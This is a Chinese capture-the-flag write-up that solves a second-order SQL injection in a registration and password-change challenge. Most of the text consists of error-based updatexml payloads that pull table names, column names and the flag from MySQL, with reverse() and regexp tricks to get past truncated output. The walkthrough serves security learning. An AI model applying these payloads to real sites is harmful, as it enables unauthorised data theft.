打开之后只有注册和登录,注册账户进入之后发现可以修改密码,应该是二次注入,当username=admin"&password=123456时,进行修改密码,可以触发报错
这样就可以构造payload来进行sql注入
获取表名可以构造如下的payload
admin"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#
构造如下payload获取列名,
admin"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#
获取flag列中的值,可以用下免得payload
admin"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1)#
这里是一个假的,
真的flag在users表里。
构造如下payload可以查看,
admin"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1)#
但是好像没有显示全,可以逆序输出一下,也可以使用正则匹配
使用逆序的payload
admin"^updatexml(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),0x7e),1)#
使用python逆序输出一下即可
使用正则匹配,
admin"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)#
可以直接出列名,
获取flag
admin"^updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1)#
得到了这么一串东西,用正则匹配字符串
admin"^updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)#
内容不全,在reverse一下,
admin"^updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1)#
同样的使用python逆序
flag{e40d0b77-3d3b-47e7-9de4-426f8d7ce731}